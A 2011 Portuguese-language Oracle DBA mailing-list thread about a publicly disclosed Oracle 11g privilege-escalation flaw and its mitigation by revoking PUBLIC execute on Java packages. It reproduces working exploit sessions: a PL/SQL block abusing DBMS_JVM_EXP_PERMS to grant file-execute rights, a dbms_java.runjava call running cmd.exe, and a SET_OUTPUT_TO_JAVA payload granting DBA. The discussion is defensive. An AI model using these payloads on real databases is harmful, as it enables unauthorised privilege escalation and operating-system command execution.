Neto,
Se upgrade não for uma opção (no caso para 11.2.0.x) tem que fazer os
revoke.
Alguns bancos não precisam da Jvm do oracle (aurora) desta forma poderia
remove-la tbm
Se for necessário Java você pode criar uma role para as packages e conceder
privilegio de execute para esta role.
De qualquer forma qualquer caminho acima tem que avaliar todos os
riscos/efeitos colaterais.

Abraços
Alessandro Guimaraes
http://aguimaraes.wordpress.com


-----Mensagem original-----
De: oracle_br@yahoogrupos.com.br [mailto:oracle_br@yahoogrupos.com.br] Em
nome de Neto Longhi
Enviada em: terça-feira, 3 de maio de 2011 11:54
Para: oracle_br@yahoogrupos.com.br
Assunto: Re: [oracle_br] Falha de segurança do 11g

Nossa que furo. Vlw pela explicação Alessandro.
Pra ajeitar essa falha é só executar:
revoke execute on DBMS_JVM_EXP_PERMS from public;
revoke execute on DBMS_JAVA from public;
revoke execute on DBMS_JAVA_TEST from  public;
?

Em 3 de maio de 2011 11:19, Alessandro Guimarães <
alessan...@applysolutions.com.br> escreveu:

>
>
> Neto e Ivan,
> Aqui vai um exemplo ate o usuário conseguir importar permissões Java
> F:\path>sqlplus / as sysdba
>
> SQL*Plus: Release 11.1.0.6.0 - Production on Ter Mai 3 10:39:30 2011
>
> Copyright (c) 1982, 2007, Oracle. All rights reserved.
>
> Conectado a:
> Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production
> With the Partitioning, OLAP, Data Mining and Real Application Testing
> options
>
> SQL> select * from v$version;
>
> BANNER
> ----------------------------------------------------------
> ----
> Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production
> PL/SQL Release 11.1.0.6.0 - Production
> CORE 11.1.0.6.0 Production
> TNS for 32-bit Windows: Version 11.1.0.6.0 - Production
> NLSRTL Version 11.1.0.6.0 - Production
>
> SQL> create user alex identified by senha;
>
> Usußrio criado.
>
> SQL> grant create session to alex;
>
> ConcessÒo bem-sucedida.
>
> === Aqui podemos ver que o usuário apenas tem o priv de create session
> SQL> connect alex/senha
> Conectado.
> SQL> select * from session_roles;
>
> nÒo hß linhas selecionadas
>
> SQL> select * from session_privs;
>
> PRIVILEGE
> ----------------------------------------
> CREATE SESSION
>
> =============
>
> Aqui conecta como sys pr aver se ele tem algum privilegio na java$policy$
> SQL> conn / as sysdba
> Conectado.
> SQL> SELECT type_name, name , action
> 2 FROM sys.dba_java_policy == esta view eh basead em java$policy$
> 3 WHERE grantee = 'ALEX'
> 4 /
>
> nÒo hß linhas selecionadas
>
> ============
> Conecta novamente como o usuário e importa os privilégios. O furo aqui é o
> privilegio de execute to public em dbms_jvm_exp_perms
> =====
> SQL> conn alex/senha
> Conectado.
>
> SQL> DECLARE
> 2 POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
> 3 CURSOR C1 IS SELECT 'GRANT',USER(),
> 'SYS','java.io.FilePermission','<<ALL FILES>>','execute','ENABLED' from
> dual;
> 4 BEGIN
> 5 OPEN C1;
> 6 FETCH C1 BULK COLLECT INTO POL;
> 7 CLOSE C1;
> 8 DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
> 9 END;
> 10 /
>
> Procedimento PL/SQL concluÝdo com sucesso.
>
> ====
> Verifica aqui que o usuario agora tem priveligios de execute
> SQL> conn / as sysdba
> Conectado.
> SQL> col type_name for a30
> SQL> col name for a30
> SQL> col action for a10
> SQL> SELECT type_name, name , action
> 2 FROM sys.dba_java_policy
> 3 WHERE grantee = 'ALEX'
> 4 /
>
> TYPE_NAME NAME ACTION
> ------------------------------ ------------------------------ ----------
>
> java.io.FilePermission <<ALL FILES>> execute
>
> SQL>
>
> A partir daqui posso como usuário ALEX posso executar um comando do
sistema
> operacional. Por exemplo
>
> SQL> conn alex/senha
> Conectado.
> SQL> set time on
> 11:15:32 SQL> select dbms_java.runjava('oracle/aurora/util/Wrapper
> c:\\windows\\system32\\cmd.exe /c dir>c:\\blah.txt') from dual;
>
>
>
DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPPERC:\\WINDOWS\\SYSTEM32\\CMD.EXE/
> CDIR
> ----------------------------------------------------------
> ----
>
> 11:15:36 SQL>
>
> Aqui abri uma janela cmd apenas pra confirmer a criação do arquivo
>
> C:\Documents and Settings\Alessandro>cd\
>
> C:\>dir blah.txt
> O volume na unidade C não tem nome.
> O número de série do volume é 9C90-1F08
>
> Pasta de C:\
>
> 03/05/2011 11:15 1.281 blah.txt
> 1 arquivo(s) 1.281 bytes
> 0 pasta(s) 14.178.578.432 bytes disponíveis
>
> E posso virar dba, administrador da maquina...
> Embora tenha feito em 11.1.0.6 com algumas modificações vocês pode fazer
em
> 10.2.0.4
>
> Abraços
> Alessandro Guimaraes
> http://aguimaraes.wordpress.com.br
>
> -----Mensagem original-----
> De: oracle_br@yahoogrupos.com.br [mailto:oracle_br@yahoogrupos.com.br] Em
> nome de Ivan Ricardo Schuster
> Enviada em: terça-feira, 3 de maio de 2011 10:01
> Para: oracle_br@yahoogrupos.com.br
> Assunto: Re: [oracle_br] Falha de segurança do 11g
>
>
> Bom, a informação de que "A Oracle não tem patch…nem se pronuciou
> quanto a falha" é de fevereiro de 2010.
>
> Conforme http://www.databasesecurity.com/HackingAurora.pdf , o código
> que liberaria o usuário para executar algo no SO é este:
>
> DECLARE
> POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
> CURSOR C1 IS SELECT 'GRANT',USER(),
> 'SYS','java.io.FilePermission','<<ALL FILES>>','execute','ENABLED'
> from dual;
> BEGIN
> OPEN C1;
> FETCH C1 BULK COLLECT INTO POL;
> CLOSE C1;
> DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
> END;
>
> Este código NÃO funciona com usuário comum (grant create session) em
> uma base 11.2.0.2, conforme demonstrado:
>
> SQL> create user ivan1 identified by ivan1;
> User created.
>
> SQL> grant create session to ivan1;
> Grant succeeded.
>
> SQL> conn ivan1/ivan1
> Connected.
> SQL> DECLARE
> 2 POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
> 3 CURSOR C1 IS SELECT 'GRANT',USER(),
> 'SYS','java.io.FilePermission','<<ALL FILES>>','execute','ENABLED'
> from dual;
> 4 BEGIN
> 5 OPEN C1;
> 6 FETCH C1 BULK COLLECT INTO POL;
> 7 CLOSE C1;
> 8 DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
> 9 END;
> 10 /
>
> POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
> *
> ERROR at line 2:
> ORA-06550: line 2, column 7:
> PLS-00201: identifier 'DBMS_JVM_EXP_PERMS' must be declared
> ORA-06550: line 2, column 7:
> PL/SQL: Item ignored
> ORA-06550: line 6, column 30:
> PLS-00320: the declaration of the type of this expression is
> incomplete or malformed
> ORA-06550: line 6, column 3:
> PL/SQL: SQL Statement ignored
> ORA-06550: line 8, column 39:
> PLS-00320: the declaration of the type of this expression is
> incomplete or malformed
> ORA-06550: line 8, column 3:
> PL/SQL: Statement ignored
>
> A outra vulnerabilidade descrita no documento, para dar grant de DBA
> ao usuário, também não funcionou:
>
> SQL> SELECT
> DBMS_JAVA.SET_OUTPUT_TO_JAVA('ID','oracle/aurora/rdbms/DbmsJava','SYS',
> 'writeOutputToFile','TEXT', NULL, NULL, NULL,
> NULL,0,1,1,1,1,0,'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE
> IMMEDIATE ''GRANT DBA TO GREMLIN''; END;', 'BEGIN NULL; END;') FROM
> DUAL;
>
>
>
DBMS_JAVA.SET_OUTPUT_TO_JAVA('ID','ORACLE/AURORA/RDBMS/DBMSJAVA','SYS','WRIT
>
>
EOUTPUTTOFILE','TEXT',NULL,NULL,NULL,NULL,0,1,1,1,1,0,'DECLAREPRAGMAAUTONOMO
>
> US_TRANSACTION;BEGINEXECUTEIMMEDIATE''GRANTDBAT
> ----------------------------------------------------------
> ----------------------------------------------------------
> ----------------------------------------------------------
> ----------------------------------------------------------
> ----------------------------------------------------------
> --------------------
>
> SQL> EXEC
> DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOW('NO_SUCH_SUBSCRIPTION',SYSDATE());
> BEGIN
> DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOW('NO_SUCH_SUBSCRIPTION',SYSDATE());
> END;
>
> *
> ERROR at line 1:
> ORA-31425: subscription does not exist
> ORA-06512: at "SYS.DBMS_CDC_ISUBSCRIBE", line 59
> ORA-06512: at line 1
>
> SQL> set role dba;
> set role dba
> *
> ERROR at line 1:
> ORA-01924: role 'DBA' not granted or does not exist
>
> Não tenho base 11gR1 nem 11.2.0.1 para testar, alguem pode testar e
> postar o resultado?
>
> 2011/5/2 Neto Longhi <neto.lon...@gmail.com>:
> > Pessoal, achei uma materia no blog do Alessandro Guimarães, sobre Falha
> de
> > segurança do 11g. Não sabia disso e achei interessante postar aqui.
> > tai o link
> > http://aguimaraes.wordpress.com/
> >
> > David Litchfield, achou vulnerabilidades de segurança no Oracle 11g,
> embora
> > os testes que eles fez tenham sido na versão 11gR2, a falha também
> acontece
> > no Oracle 11gR1.
> > O problema acontece devido a privilégios super generosos para as
> procedures
> > java, permitindo que um usuario com apenas privilegio de create
sesssion,
> > possa se tornar um DBA, tendo assim total controle do banco.
> > Alem disso, este mesmo usuario pode, com um simples select executar
> comandos
> > do sistema operacional, como por exemplo gerar um arquivo.txt.
> > Em casa fiz um teste e consegui t criar um usuario no sistema
operacional
> e
> > torna-lo membro do grupo administrator do windows. Terrivel não. ?
> > A Oracle não tem patch…nem se pronuciou quanto a falha. No entanto você
> pode
> > fazer sua parte. Basta fazer o revoke do PUBLIC das seguintes packages:
> >
> > *revoke execute on DBMS_JVM_EXP_PERMS from public;
> > revoke execute on DBMS_JAVA from public;
> > revoke execute on DBMS_JAVA_TEST from  public;*
> >
> >
> > --
> > Att,
> > José Longhi Laurindo Neto
> > Bacharel em Ciência da Computação.
> > DBA Oracle Jr.
> > Tel: (91) 81970312
> > E-mail: neto.lon...@gmail.com
> >
> >
> > [As partes desta mensagem que não continham texto foram removidas]
> >
> >
> >
> > ------------------------------------
> >
> >
> ----------------------------------------------------------
> ----------------------------------------------
> >>Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de
> inteira responsabilidade de seus remetentes.
> > Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/
> >
> ----------------------------------------------------------
> ----------------------------------------------
> >>Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package »
> Procedure
> » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE:
> http://www.oraclebr.com.br/
> >
> ----------------------------------------------------------
> -------------------------------------------- Links do Yahoo! Grupos
> >
> >
> >
>
> --
> Ivan Ricardo Schuster
> OCP 10g/11g
> OCE RAC 10g/Linux
>
> ------------------------------------
>
> ----------------------------------------------------------
> ----------------------------------------------
> >Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de
> inteira
> responsabilidade de seus remetentes.
> Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/
> ----------------------------------------------------------
> ----------------------------------------------
> >Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package »
Procedure
> » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE:
> http://www.oraclebr.com.br/
> ----------------------------------------------------------
> -------------------------------------------- Links do Yahoo! Grupos
>
>  
>



-- 
Att,
José Longhi Laurindo Neto
Bacharel em Ciência da Computação.
DBA Oracle Jr.
Tel: (91) 81970312
E-mail: neto.lon...@gmail.com


[As partes desta mensagem que não continham texto foram removidas]



------------------------------------

----------------------------------------------------------------------------
----------------------------------------------
>Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira
responsabilidade de seus remetentes.
Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ 
----------------------------------------------------------------------------
----------------------------------------------
>Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure
» Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE:
http://www.oraclebr.com.br/  
----------------------------------------------------------------------------
-------------------------------------------- Links do Yahoo! Grupos



Reply via email to